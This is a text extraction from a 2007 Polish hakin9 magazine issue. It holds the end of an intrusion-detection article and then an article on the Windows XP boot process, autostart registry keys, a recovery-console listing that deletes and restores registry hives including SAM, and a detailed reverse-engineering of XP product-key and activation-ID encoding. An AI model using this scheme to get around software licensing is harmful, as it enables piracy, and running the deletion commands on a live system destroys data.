ka adresów IP, które być może na-
leżą do włamywacza. Pomimo te-
go, że do tej pory nic o tym nie wspo-
minałem, bardzo często administra-
torzy przekazują ślady działalności
intruzów do policji lub CERTu (zgła-
szanie incydentu: http://www.cert.pl/
index3.html?id=11). W takim przy-
padku nie możemy usuwać śladów
intruza, gdyż będą one stanowiły do-
wody w ewentualnej sprawie sądo-
wej – należy dowiedzieć się bezpo-
średnio u odpowiednich organów, co
i w jaki sposób należy zabezpieczyć.
Podążając tą drogą warto mieć ko-
pie zapasowe systemu, które będzie
można szybko przywrócić – chociaż-
by na innej maszynie – i bez przerwy
w działaniu dalej świadczyć usługi, a
samą jednostką zaatakowaną zająć
się w laboratorium – odizolowanym
fragmencie sieci.
Podsumowanie
Na podstawie analizy dwóch ataków
wykonanych przez zgoła odmiennych
agresorów przedstawiłem podstawo-
we sposoby detekcji samego intruza
i śladów pozostawianych przez niego
w systemie. Zaprezentowałem ścież-
ki, którymi należy podążać w trakcie
podstawowej analizy. Podstawowej,
gdyż samo zagadnienie wykrywania
włamań oraz detekcji intruza jest bar-
dzo szerokie i wymaga specjalistycz-
nej wiedzy z wielu dziedzin informaty-
ki i bezpieczeństwa sieciowego. Przez
cały artykuł zmuszony byłem przemil-
czeć pewne sprawy i aspekty związa-
ne z samym działaniem detekcyjnym,
ze względu na fakt ich skomplikowa-
nia. Milcząco też zakładałem pewne
stany systemu i sposoby jego konfi-
guracji – wszystko po to, aby móc zo-
brazować konkretne elementy detek-
cji. Jestem świadomy tego, że każda
analiza wygląda zupełnie inaczej, jest
sprawą indywidualną związaną ze
sposobem działania danego napast-
nika, zależną od systemu i jego kon-
figuracji. Pomimo to starałem się za-
szczepić w czytelniku pewien tok my-
ślenia: dążenie do poszerzania wie-
dzy, do samodzielnej analizy przed-
stawionych przypadków, do głębsze-
go przemyślenia wszelkich działań in-
truza, do kreatywności w opracowy-
waniu metod detekcji, chęć pokony-
wania problemów i zadań oraz rozkła-
du ich na czynniki pierwsze. Wszystko
to dlatego, aby czytelnik samodzielnie
był w stanie opracować i stworzyć dro-
gę detekcji intruza w systemie zarzą-
dzanym przez siebie – aby mógł po-
wiązać ze sobą tak błahą sprawę, jak
wzmożona praca dysku, z włamaniem
i był w stanie reagować odpowiednio
na wszystkie takie sygnały. Chcia-
łem zwrócić uwagę na liczne powią-
zania każdego drobnego aspektu pra-
cy sieci z sygnałami o włamaniu, gdyż
jest to sprawą kluczową, pozwalają-
cą osiągnąć sukces. Wszelkie działa-
nia mające na celu wykrycie intruza w
systemie powinny być przemyślane i
poparte odpowiednią wiedzą. Ważne
jest, aby administrator bardzo dobrze
znał swoją jednostkę serwerową oraz
sieć. Warto również mieć na uwadze
fakt, że wszelkie narzędzia stosowa-
ne przez włamywaczy są także na-
szymi przyjaciółmi – sprawdzenie po
włamaniu pewnych elementów sys-
temu za pomocą takich narzędzi da-
je nam obraz systemu, jaki uzyskał
intruz i na jego podstawie możemy
wnioskować o przyjętych przez wła-
mywacza działaniach i strategiach, co
jest dla nas bardzo pomocne. Na sam
koniec pragnę przypomnieć senten-
cję Sun Tzu: Cała sztuka walki bazu-
je na zwodzeniu przeciwnika - pamię-
tajmy o tym! l
O autorze
Autor od wielu lat interesuje się informatyką – swoje zainteresowania skupił głównie na
zagadnieniach i problematyce sieci komputerowych oraz bezpieczeństwa teleinforma-
tycznego. Jest samoukiem i pasjonatem. Studiuje informatykę na wydziale Cybernety-
ki Wojskowej Akademii Technicznej.
Kontakt z autorem: bartosz.kalinowski@gmail.com
W Sieci
• http://www.securityfocus.com/infocus/1771 – monitorowanie integralności systemu,
• http://www.snort.org/ - najpopularniejszy i najbardziej znany system IDS,
• http://www.sans.org/resources/idfaq/ - FAQ dotyczące wykrywania włamań,
• http://www.honeypots.net/ids/products – zbiór narzędzi dotyczących wykrywania
włamań,
• http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf – przewodnik po
IDS i IDPS stworzony przez NIST,
• http://www.metrocomputers.com/Ports.htm – przegląd koni trojańskich ze wzglę-
du na wykorzystywane porty,
• http://www.securityfocus.com/ids – dział dotyczący IDS – wiele artykułów i analiz,
• http://www.securityfocus.com/infocus/1811 – wykrywanie rootkitów,
• http://www.cert-in.org.in/training/29thmarch05/rootkits.pdf – zasady działania i
wykrywanie rootkitów,
• http://google.com + hasła IDS, intrusion prevention, intrusion detection etc., miej-
sce od którego należy zacząć wyszukiwanie informacji.
www.hakin9.org
hakin9 Nr 10/2007
48
Atak
W
systemie Windows XP Professio-
nal PL rejestr składa się z plików
sam.dat, security.dat, software.dat,
system.dat oraz default.dat umieszczonych w
katalogu C:\Windows\System32\Config oraz
pliku ntuser.dat umieszczonego w katalogu
profilu danego użytkownika i odpowiadające-
go za jego prywatną konfigurację. Znajomość
i zrozumienie procesów zachodzących pod-
czas startu komputera oraz systemu operacyj-
nego ma duże znaczenie. Pozwala wykryć i na-
prawić potencjalne błędy czy problemy związa-
ne z ładowanymi sterownikami i oprogramowa-
niem. Początkowy etap startu komputera kon-
trolowany jest przez BIOS i test POST – Po-
wer On Self Test, odpowiedzialny głównie za
testowanie karty graficznej i pamięci RAM, a
także procesora. Ostatnim etapem realizowa-
nym przez BIOS jest odszukanie pierwszego
sektora dysku startowego MBR – Master Bo-
ot Record i wczytanie z niego do pamięci RAM
programu inicjującego ładowanie – tzw. bootlo-
adera, który z kolei odpowiedzialny jest za ła-
dowanie do pamięci pliku startowego NTLDR
(NT Loader) uruchamiającego system opera-
cyjny. Pierwszym etapem startu systemu jest
odczytanie przez NTLDR pliku Boot.ini.
Start WINDOWS
Edytując plik boot.ini należy pamiętać o za-
chowaniu oryginalnej wersji i wciśnięciu klawi-
sza ENTER na końcu pliku. W przypadku, gdy
zainstalowanych jest kilka systemów operacyj-
nych, wyświetlone zostaje menu startowe wy-
boru systemu, natomiast gdy jest tylko jeden
system, np. Windows XP Professional, menu
startowe jest pomijane. Po wybraniu opcji startu
Windows XP uruchamiany jest program NTDE-
TECT.COM, który analizuje konfigurację portów
komunikacyjnych, zainstalowanych kart rozsze-
rzeń w magistralach PCI, EISA i ISA, napędów
Łamanie klucza rejestracji
Windows XP
Rafał Podsiadły
stopień trudności
Uruchamiamy system, na pierwszym ekranie pojawia się
komunikat, system Windows nie znalazł pliku c:\windows\
system32\config, już myślimy o ponownej reinstalacji systemu,
a wystarczy wykorzystać konsole odzyskiwania, aby uratować
system.
Z artykułu dowiesz się
• jak zaczyna życie najpopularniejszy system
operacyjny.
Co powinieneś wiedzieć
• znać podstawy Windows,
• śledzić magazyn hakin9, ten artykuł będzie
częściowo nawiązywał do tekstu Hakowanie
rejestru z numeru 8/2007.
Każdy system ma swoje tajemnice, czy znasz je wszystkie?
hakin9 Nr 10/2007
www.hakin9.org
49
dyskowych i myszki. Wszystkie te in-
formacje zapisywane są w kluczu:
HKEY_LOCAL_MACHINE\HARDWARE\
DESCRIPTION.
Następny etap startu systemu ope-
racyjnego związany jest z ładowa-
niem przez NTLDR jądra systemo-
wego, NTOSKRNL.EXE. W dalszej
kolejności odszukiwane są sterowni-
ki uruchamianych
urządzeń. Informacje na temat
tych sterowników umieszczone są w
rejestrze w kluczu:
HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services.
Jeśli któryś ze sterowników po-
siada wartość Start 0x0, oznacza to,
że zostanie załadowany, ale nie uru-
chomiony, jak w przypadku PCIIde
(Rysunek 1).
Jeśli wartość Start ustawiona jest
na 0x1, to oznacza, że sterownik zo-
stanie jednocześnie załadowany i
uruchomiony, np. sterownik Cdrom.
Kolejnym etapem startu systemu
jest menedżer sesji Smss.exe. Infor-
macje na jego temat znajdują się w
kluczu:
HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Session
Manager.
Menedżer sesji odpowiedzialny jest
za uruchamianie programów znaj-
dujących się w wartości BootExe-
cute. Domyślnie znajduje się tam au-
tochk uruchamiający program Auto-
chk.exe, który sprawdza dysk twar-
dy w momencie startu Windows.
Menedżer sesji odpowiedzialny jest
również za uruchamianie menedże-
ra logowania Winlogon.exe, zarzą-
dzającego logowaniem użytkownika
do systemu. Podczas uruchamiania
procesu Winlogon pobierana jest za-
wartość klucza:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
WindowsNT\CurrentVersion\Winlogon.
Po udanym zalogowaniu użytkow-
nika do systemu w rejestrze nastę-
puje modyfikacja wpisów dotyczą-
cych ostatniej poprawnej konfigu-
racji systemu. Jeśli wszystko prze-
biegło prawidłowo, pojawia się pul-
pit. Z punktu widzenia użytkownika
najistotniejsze są informacje, któ-
re klucze rejestru są aktywowane i
odpowiadają za uruchomienie pro-
gramów i skryptów podczas star-
tu systemu operacyjnego. Wiąże
się to w głównej mierze z niebez-
pieczeństwami wynikającymi na
przykład z uruchamiania się diale-
rów.(Patrz ramka lista istotnych klu-
czy rejestru)
Ponadto, aby mieć całkowitą
pewność i kontrolę nad uruchamia-
nymi podczas startu systemu pro-
gramami, warto sprawdzać wpisy
w pliku Win.ini w sekcji
Load=
i
Run=
oraz sprawdzać, jakie skróty znajdu-
ją się w folderze Autostart umiejsco-
wionym w katalogach C:\Documents
and Settings\All Users\Menu Start\
Programy\Autostart i C:\Documents
and Settings\nazwa użytkownika\
Menu Start\Programy\Autostart.
Tryby uruchamiania
systemu
Po instalacji nowego urządzenia
lub programu system niekiedy od-
mawia nam posłuszeństwa. Wtedy
należy wykonać rozruch z wciśnię-
tym klawiszem F8 podczas począt-
kowej fazy ładowania systemu – wy-
wołać ekran menu, z którego można
wybrać specjalne tryby uruchamia-
nia systemu. Lista dostępnych try-
bów jest długa. Jeżeli awaria sys-
temu wystąpiła bezpośrednio po
zainstalowaniu nowego urządzenia
lub programu, rozwiązaniem będzie
wybór opcji Ostatnia dobra konfigu-
racja (ostatnie działające ustawie-
nia), dzięki której można uruchomić
system dokładnie w takim stanie, w
jakim po raz ostatni którykolwiek z
użytkowników pomyślnie się do nie-
go zalogował.
Pełna lista specjalnych trybów
uruchamiania systemu Windows XP
wygląda następująco:
• Tryb awaryjny – system zostanie
uruchomiony z minimalną licz-
bą sterowników (np. nie zosta-
ną zainstalowane sterowniki na-
pędu CD-ROM). Wszystkie uru-
chomione w tym trybie urządze-
Listing 1.
Przykładowe odzyskanie rejestru
md kopia
copy c:\windows\system32\config\system c:\windows\kopia\system.bak
copy c:\windows\system32\config\software c:\windows\kopia\software.bak
copy c:\windows\system32\config\sam c:\windows\kopia\sam.bak
copy c:\windows\system32\config\security c:\windows\kopia\security.bak
copy c:\windows\system32\config\default c:\windows\kopia\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system c:\windows\system32\config\system
copy c:\windows\repair\software c:\windows\system32\config\software
copy c:\windows\repair\sam c:\windows\system32\config\sam
copy c:\windows\repair\security c:\windows\system32\config\security
copy c:\windows\repair\default c:\windows\system32\config\default
Tabela 1.
Rozmiar rekordów
Nazwa
Rozmiar
offset
H1
Double word
0
H2
Double word
4
P1
Double word
8
P2
Double word
12
P3
byte
16
hakin9 Nr 10/2007
www.hakin9.org
Atak
50
nia korzystać będą z podstawo-
wej wersji sterowników. Jeżeli po-
mimo wybrania tej opcji system
nadal się nie uruchamia, świad-
czy to o bardzo poważnych błę-
dach urządzeń niezbędnych do
jego działania (dysku twarde-
go, procesora, pamięci lub płyty
głównej).
• Tryb awaryjny z obsługą sieci
– od poprzedniego trybu różni
się tym, że zostanie uruchomio-
na obsługa sieci (sterowniki kar-
ty sieciowej i najważniejsze usłu-
gi sieciowe).
• Tryb awaryjny z wierszem pole-
ceń – system zostanie urucho-
miony w trybie awaryjnym, ale
nie będzie uruchomiony graficz-
ny interfejs użytkownika. Ten
sposób uruchamiania komputera
może pomóc przy rozwiązywa-
niu poważnych problemów zwią-
zanych z obsługą karty grafiki.
• Włącz rejestrowanie urucha-
miania – podczas uruchamiania
systemu w pliku rejestrowane
są wszystkie sterowniki i usługi
uruchamiane przez system. Plik
wynikowy ntbtlog.txt umieszczo-
ny zostanie w głównym katalogu
systemu Windows.
• Włącz tryb VGA – system jest
uruchamiany przy użyciu pod-
stawowego sterownika VGA. Ten
tryb jest przydatny po zainstalo-
waniu nowego sterownika karty
grafiki, który uniemożliwił prawi-
dłowe uruchomienie systemu.
• Ostatnia dobra konfiguracja
– system zostaje uruchomiony
w tym stanie, w którym po raz
ostatni użytkownikowi udało się
do niego zalogować. W rezulta-
cie wszystkie zmiany dokonane
od ostatniego pomyślnego uru-
chomienia zostaną utracone.
• Tryb przywracania usług katalo-
gowych – opcja wykorzystywa-
na wyłącznie przy uruchamianiu
komputerów pełniących funkcję
kontrolera domeny umożliwiają-
ca odtworzenie lub przetestowa-
nie działania usług katalogowych
(ang. Active Directory).
• Tryb debugowania – specjalny
tryb diagnostyczny umożliwiają-
cy przesyłanie za pośrednictwem
kabla szeregowego informacji o
pracy systemu do innego kompu-
tera.
Kopia bezpieczeństwa
W systemach z rodziny NT zaimple-
mentowano automatyczne tworzenie
kopii bezpieczeństwa najważniej-
szych plików. Lokalizacja tej kopii to
katalog C:\windows\repair. Wykorzy-
stując konsolę odzyskiwania można
przeprowadzić uaktualnienie znisz-
czonych czy zagubionych plików na
podstawie ich poprawnych wzorców.
Osobiście zalecałbym zrobienie ko-
pii bezpieczeństwa katalogu sys-
temowego na osobnym CD po po-
prawnym zainstalowaniu systemu
operacyjnego i wszystkich jego ste-
rowników.
Plik boot.ini
Do pliku Boot.ini możemy dostać się na dwa sposoby. Pierwszym jest odkrycie wszyst-
kich plików ukrytych i systemowych. Boot.ini należy szukać w katalogu głównym sys-
temu (w większości przypadków C:\). Sposób drugi: z menu podręcznego ikony Mój
Komputer wybieramy Właściwości, uaktywniamy zakładkę Zaawansowane, w sekcji
Uruchamianie i odzyskiwanie klikamy przycisk Ustawienia, po czym wybierając przy-
cisk Edytuj otwieramy plik Boot.ini.
Geneza nazwy Windows
System operacyjny zarządza czterema podstawowymi typami operacji:
• Uruchamianiem, nadzorem i kończeniem procesów aplikacji. Zadaniem systemu operacyjnego jest wczytanie aplikacji do pamięci i
jej uruchomienie.
• Alokacją pamięci. Zadaniem systemu jest przydzielenie aplikacji potrzebnej jej ilości pamięci i zwolnienie obszarów pamięci dłu-
żej nieużywanych.
• Operacjami wejścia – wyjścia (I/O) plików. System plików (ang. File System) jest podstawową częścią każdego systemu opera-
cyjnego – funkcjonalność starszych systemów operacyjnych właściwie sprowadzała się do obsługi pamięci masowych.
• Urządzeniami wejścia – wyjścia. Ważnym zadaniem systemu operacyjnego jest komunikowanie się z urządzeniami wejścia
– wyjścia takimi jak karta graficzna, klawiatura czy mysz.
Historia DOS-u (ang. Disk Operating System) rozpoczęła się w 1981 roku, kiedy to mała firma Microsoft wykupiła od Seattle Compu-
ter Products program, który zmodyfikowała tak, aby mógł on pracować na komputerach IBM PC i nazywała go MS DOS. Przez następ-
ne kilka lat produkt ten będzie rozwijany i modernizowany, ale najważniejsza zasada jego działania nie ulegnie zmianie – systemy ope-
racyjne oparte na DOS-ie pozwalały na równoczesną pracę z jednym komputerem, tylko jednemu użytkownikowi, który mógł urucho-
mić dokładnie jeden program.
Zasada ta została złamana w sierpniu 1995 roku wraz z premierą systemu Windows 95. System umożliwiał jednoczesne urucha-
mianie dowolnej liczby aplikacji, z których każda mogła być uruchamiana w oddzielnym oknie – przełączając się pomiędzy oknami
użytkownik mógł kontrolować pracę każdej aplikacji. Wraz z premierą pierwszego systemu z rodziny NT i pojawieniem się we wrze-
śniu 2001 r. Windows XP (finalnego systemu łączącego w sobie technologie NT, Win98 i ME), pojawiła się możliwość przełączania
się pomiędzy oknami użytkowników bez potrzeby wylogowywania się z systemu. Firma Microsoft tym samym złamała ostanie ogra-
niczenie, dotyczące liczby jednocześnie pracujących z komputerem osób (Pominięto historię Windows 98, Windows98SE, Windows
Milenium oraz Windows NT.)
Każdy system ma swoje tajemnice, czy znasz je wszystkie?
hakin9 Nr 10/2007
www.hakin9.org
51
Klucz aktywacyjny
Po pierwszym uruchomieniu – zaraz
po instalacji systemu – powinno się
wykonać jego aktywację. Program
służący do aktywacji odczytuje, wy-
korzystując PID 3.0 (technologię uni-
kalnych kluczy produktów), nume-
ry seryjne urządzeń zainstalowa-
nych w komputerze (karty: sieciowa
i graficzna, napędy: CD-ROM oraz
DVD-ROM, procesor, dysk twardy,
kontrolery SCSI oraz IDE, pamięć
RAM). Oto jak wygląda przykłado-
wy klucz::
002666-077894-484890-114573-XXXXXX-
XXXXXX-XXXXXX-XXXXXX-XX
(znaczące wyrazy zostały zastąpio-
ne przez X).
W każdym z fragmentów powyż-
szego ciągu znajduje się cyfra kon-
trolna – jest to ostatnia liczba z sze-
ściocyfrowego wycinka klucza. Po-
zwala ona odkryć błąd w kluczu, da-
jąc odpowiedź, czy ten jest poprawny.
Zatem dla pierwszej grupy – 002666
– cyfrą kontrolną będzie 6, a dla gru-
py następnej – 077894 – cyfra 4.
Wartość kontrolna
W każdym ciągu dostępna wartość
kontrolna jest tworzona przez zsu-
mowanie pierwszych pięciu cyfr z
grupy, następnie do otrzymanego
wyniku jest dodawana suma cyfr
znajdujących się na parzystych miej-
scach w tym bloku i jest wykonywa-
ne dzielenie przez 7. A nasza cyfra
kontrola to po prostu reszta z tego
dzielenia, która powinna w wypadku
pierwszej grupy wynosić 6.
Dekodowanie
Usunięcie cyfr kontrolnych pozo-
stawia nam 41-cyfrowy numer. Ten
dziesiętny 41-cyfrowy numer jest re-
prezentacją 136-bitowej liczby typu
integer o dużej precyzji, która jest
składowana w tablicy o następują-
cym porządku poszczególnych baj-
tów (Rysunek 2).
Także i w tym przypadku zna-
czące cyfry zostały zastąpione XX.
Liczba 0x oznacza oczywiście nota-
cję szesnastkową.
Deszyfrowanie
Po zdekodowaniu kilku kluczy moż-
na zauważyć, że najbardziej znaczą-
cy bajt ma zawsze wartość 0x00 lub
0x01, a reszta liczb ma wartości lo-
sowe. Dzieje się tak dlatego, że 16
młodszych bajtów INSTALLATION
ID jest zakodowanych, a najbardziej
znaczący nie.
Wykorzystany algorytm szyfrowa-
nia jest czterokrotnym algorytmem Fe-
istela. Gdy ciąg bajtów wejściowych
jest poddawany obróbce przy pomo-
cy tego algorytmu, jest on dzielony na
dwie grupy o równej, parzystej liczbie
bajtów - w tym przypadku jest to naj-
mniej znaczące 16 z 17 bajtów wejścio-
wych. Funkcją szyfrującą jest algorytm
SHA-1 z kluczami 4 bajtowymi.
Załóżmy, że + oznacza sumę
dwóch bajtów, ^ oznacza operację
XOR, L i R oznacza odpowiednio le-
wy i prawy 8-bajtowy ciąg wejścio-
wy, L' i R' są wynikowymi połówka-
mi wspomnianej funkcji,
First-8()
jest funkcją, która zwraca pierwsze
8 bajtów skrótu SHA-1, a Key jest
kluczem. Jedno przejście algorytmu
wygląda wtedy tak:
L' = R ^ First-8(SHA-1(L + Key))
R' = L
Tabela 2.
Reprezentacja dekodowania
Cyfra
Długość
Reprezentacja
AAAAA
17 bitów
Bity 0 – 16 P1
BBB
10 bitów
Bity 17 – 26 P1
CCCCCCC
28 bitów
Bity 27 – 31 P1 (młodsze 5 bitów)
Bity 0 – 22 P2 (starsze 23 bity)
DDEEE
17 bitów
Bity 23 – 31 P2 (młodsze 9 bitów)
Bity 0 – 7 P3(starsze 8 bitów)
Najistotniejsze klucze rejestru Windows
W kluczach Run znajdują się uruchamiane programy:
• dla wszystkich użytkowników:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.
• dla obecnie zalogowanego użytkownika:
_ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY
W kluczach RunOnce i RunOnceEx zawarte są programy ładowane jednorazowo podczas startu systemu:
• dla wszystkich użytkowników:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce: HKEY_LOCAL_
MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
• dla obecnie zalogowanego użytkownika:
HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnceE
W kluczach RunServices i RunServicesOnce zawarte są informacje na temat ładowanych i uruchamianych usług systemowych:
• dla wszystkich użytkowników:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_
LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
• dla obecnie zalogowanego użytkownika:
HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\
RunServicesHKEY CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
hakin9 Nr 10/2007
www.hakin9.org
Atak
52
Rezultatem deszyfracji jest 16 nieza-
kodowanych znaków, które razem z
17-tym niezakodowanym bajtem są
interpretowane jako 4 zorganizowa-
ne podwójne słowa z jednym bajtem
kończącym : H1 i H2 opisują konfigu-
rację sprzętu, która jest wysyłana w
INSTALLATION ID, P1, P2 i P3 za-
wierają PRODUCT ID.
Product ID
PRODUCT ID zawiera pięć grup cyfr
dziesiętnych w porządku jak niżej:
AAAAA-BBB-CCCCCCC-DDEEE
Jeżeli poszukasz w rejestrze klucza
o nazwie Product ID, możesz zna-
leźć ID odpowiadający twojej instala-
cji. Okienko About Internet Explorera
także wyświetli twój Product ID.
Dekodowanie
Zależność pomiędzy Product ID a
dziesiętną reprezentacją i jej dwój-
kowym odwzorowaniem w podwój-
nych słowach P1 i P2 (a także baj-
tem P3) jest podsumowana w poniż-
szej tablicy:
Znaczenie każdej z pięciu grup
cyfr jest udokumentowane w tabeli 3.
Jak widać, Raw Product Key odgry-
wa bardzo ważną rolę w generowa-
niu PRODUCT ID.
Product Key
Raw Product Key jest ukryty we-
wnątrz Product Key, który jest wydru-
kowany na naklejce rozpowszech-
nianej z płytką dystrybucyjną Win-
dows XP. Jest on przedstawiony jako
pięć łańcuchów alfanumerycznych o
długości 5 znaków każdy:
FFFFF-GGGGG-HHHHH-JJJJJ-KKKKK
Każdy znak jest jedną z 24 cyfr lub li-
ter (B C D F G H J K M P Q R T V W X Y
2 3 4 6 7 8 9). Bardzo podobnie, jak
w przypadku dziesiętnego kodowa-
nia wartości INSTALLATION ID, 25
znaków określających Product Key
tworzy zakodowaną w systemie ba-
se-24 dwójkową reprezentację Pro-
duct Key. Wynikiem dekodowania
Product Key jest liczba całkowita du-
żej precyzji o wielkości w przybliże-
niu 115 bitów, która jest przedsta-
wiana jako tablica 15-bajtowa zapi-
sana w odwrotnym porządku. Jeże-
li zdekodujemy przedstawiony powy-
żej przykład Product Key, w wyniku
otrzymamy następującą tablicę (Ta-
bela 6.). Najmniej znaczące 4 bajty
tablicy zawierają Raw Product Key
(zapisany w odwrotnym porządku).
Najmniej znaczący bit jest usunię-
ty poprzez przesunięcie 32 bitowej
wartości (0x4595FA6F – pamiętaj-
my o odwrotnym porządku !) o jeden
bit w lewo – w rezultacie Raw Pro-
duct Key równy jest 0x22CAFD37
lub (dziesiętnie) 583728439.
Pozostałe 11 bajtów tablicy two-
rzy podpis cyfrowy, umożliwiający
weryfikację autentyczności Product
Key przy wykorzystaniu szyfrowania
z kluczem publicznym.
Product Key- Product ID
Trzy najbardziej znaczące cyfry dzie-
siętnej reprezentacji Raw Product Key
(w naszym przykładzie 583) znajdu-
ją bezpośrednie odzwierciedlenie w
komponencie BBB wartości PRO-
DUCT ID opisywanej powyżej. Aby
uzyskać komponent CCCCCCC,
do pozostałych sześciu cyfr (a więc
728439) dodaje się cyfrę kontrolną.
Jest ona tak dobierana, aby suma
wszystkich siedmiu cyfr (razem z kon-
trolną) była podzielna przez siedem.
W naszym przypadku: 7 + 2 + 8 + 4 +
3 + 9 = 33, co daje cyfrę kontrolną 2,
ponieważ: 7 + 2 + 8 + 4 + 3 + 9 + 2 =
33 + 2 = 35, a 35 jest podzielne przez
siedem. Komponent CCCCCCC na-
szego PRODUCT ID ma zatem po-
stać 7284392. Dla celów weryfikacji
Product Key można wykorzystać wię-
cej niż jeden klucz publiczny. Jeżeli
nie powiodła się weryfikacja przy po-
mocy pierwszego w kolejności klucza,
Rysunek 2.
Reprezentacja bajtowa kodu
Rysunek 1.
Sterownik PCIIde
Każdy system ma swoje tajemnice, czy znasz je wszystkie?
hakin9 Nr 10/2007
www.hakin9.org
53
brany pod uwagę jest drugi i ewentu-
alnie następne. Komponent DD Pro-
duct ID wskazuje, który z kluczy pu-
blicznych w tej sekwencji zaowocował
prawidłową weryfikacją Product Key.
Ten mechanizm może być użyty, by
umożliwić generowanie większej ilo-
ści ważnych Product Keys z różnymi
indywidualnymi kluczami prywatnymi.
Jednakże różne klucze prywatne mo-
gą także reprezentować różne wer-
sje produktu. Product Key dla wersji
Professional może być podpisany in-
nym kluczem niż Product Key dla wer-
sji Server. komponent DD będzie więc
wtedy reprezentować wersję produk-
tu. Reasumując, poprawny PRO-
DUCT ID z naszego przykładu może
wyglądać tak : 55034-583-7284392-
00123. Wskazuje on, że użyto pierw-
szego w kolejności klucza publiczne-
go (wartość komponentu DD, czyli in-
deksu, równa jest 0), natomiast jako
wartość losową obrano 123.
Losowo wybierany komponent
EEE jest przyczyną, dla której mso-
obe.exe pokazuje różny INSTALLA-
TION ID za każdym wywołaniem.
Ponieważ wartość ta jest poddawa-
na szyfrowaniu, nawet tak mała jej
zmiana powoduje powstanie kom-
pletnie różnego INSTALLATION ID.
Tak więc PRODUCT ID wysyłany
podczas aktywacji najprawdopodob-
niej rożni się 3 ostatnimi cyframi od
tego wyświetlanego w Internet Explo-
rerze i w rejestrze.
(Znaczenie
wartości
DD,
CCCCCCCC – patrz akapit Deko-
dowanie).
Konfiguracja sprzętowa
Jak wspomniałem wcześniej, opis
konfiguracji sprzętowej umieszczo-
ny w INSTALLATION ID jest repre-
zentowany przez dwa podwójne sło-
wa H1 i H2. Relacje pomiędzy konfi-
guracją sprzętową komputera a bita-
mi w słowach H1 oraz H2 przedsta-
wia Tabela 4. Relacje pomiędzy kon-
figuracją sprzętową komputera a bi-
tami w słowach H1 i H2.
Bit 31 bajtu słowa H2 pokazuje,
czy notebook obsługuje stacje doku-
jącą. Jeżeli dokowanie jest możliwe,
mechanizm aktywacji będzie bar-
dziej tolerancyjny na przyszłe mody-
Tabela 4.
Relacje pomiędzy konfiguracją sprzętową komputera a bitami w
słowach H1 i H2
Double word
Offset
Długość
Wartość bazuje na
H1
0
10
Numer seryjny wolumenu sys-
temowego
H1
10
10
Adres MAC karty sieciowej
H1
20
7
Ciąg identyfikacyjny napędu
CD-ROM
H1
27
5
Ciąg identyfikacyjny karty sie-
ciowej
H2
3
6
Numer seryjny procesora
H2
9
7
Ciąg identyfikacyjny dysku
twardego
H2
16
5
Ciąg identyfikacyjny kontrole-
ra SCSI
H2
21
5
Ciąg identyfikacyjny kontrole-
ra IDE
H2
25
3
Model procesora
H2
28
3
Rozmiar pamięci RAM
H2
31
1
1 = możliwość dokowania
H2
0 = niedokowalny
Tabela 5.
Wartości liczb dla pamięci RAM
Wartość
Ilość dostępnej pamięci RAM
0
Nie używana
1
Poniżej 32 MB
2
Pomiędzy 32 MB a 63 MB
3
Pomiędzy64 MB a 127 MB
4
Pomiędzy 128 MB a 255 MB
5
Pomiędzy 256 MB a 511 MB
6
Pomiędzy 512 MB a 1023 MB
7
Powyżej 1023 MB
Tabela 6.
Grupy bitów opisujące sprzęt
0x6F 0xFA 0x95 0x45 0xFC 0x75 0xB5 0x52
0xBB 0xEF 0xB1 0x17 0xDA 0xCD 0x00
Tabela 3.
Znaczenie cyfr
Cyfry
Znaczenie
AAAAA
Zawsze 55034 (w Windows XP RC1)
BBB
Najbardziej znaczące cyfry Raw Product Key
CCCCCCC
Mniej znaczące cyfry Raw Product Key
DD
Index do kluczy publicznych w celu weryfikacji Product Key
EEE
Losowa wartość
W Sieci
• http://www.infojama.pl/38,artykul.aspx,
• http://microsoft.com,
• http://sciaga.nauka.pl/index.php/id=index/dept=54/cath=221/sc_kat=86/sc_id=1843,
• http://support.microsoft.com/kb/307545/pl.
hakin9 Nr 10/2007
www.hakin9.org
Atak
54
fikacje sprzętu. Należy uwzględnić
bowiem fakt, że kiedy notebook zo-
stanie zamontowany do stacji doku-
jącej, może się zmienić konfiguracja
sprzętowa, ponieważ może się tam
znajdować np. kontroler SCSI.
Wartość zero opisująca dany
komponent oznacza, że nie jest on
dostępny. W innym przypadku za-
wiera wartość niezerową.
Komponenty sprzętowe
Wartości opisujące sprzęt uzyski-
wane są przy pomocy algorytmu
MD5. Z uzyskanego skrótu pobiera
się niezbędną liczbę bitów ze ściśle
określonych dla danego urządzenia
lokalizacji. W celu uniknięcia warto-
ści zerowej, uzyskana wielkość kom-
binowana jest z liczbą możliwych do
zapisania wartości na danej ilości bi-
tów przeznaczonych na identyfika-
cję konkretnego urządzenia:
wartość = (wartośćtemp % BitFieldMax)
+ 1
wartośćtemp uzyskana jest w wyni-
ku działania algorytmu MD5, x % y
oznacza resztę z dzielenia x przez y,
a
BitFieldMax
– maksymalną wartość
możliwą do przechowania w danej
grupie bitów przeznaczonej na prze-
chowanie informacji o sprzęcie, np.
1023 dla 10-bitowego pola w przy-
padku adresu MAC karty sieciowej.
Opis wartości RAM
Wartość charakteryzująca ilość pa-
mięci RAM jest przeliczana inaczej.
Istnieje siedem predefiniowanych war-
tości określających aproksymowaną
ilość pamięci. Są one przedstawione
w Tabeli 4. Co istotne, wielkość pamię-
ci jest określana poprzez wywołanie
funkcji
GlobalMemoryStatus()
, która po-
daje kilkaset kilobajtów mniej niż obej-
muje rzeczywiście dostępna pamięć.
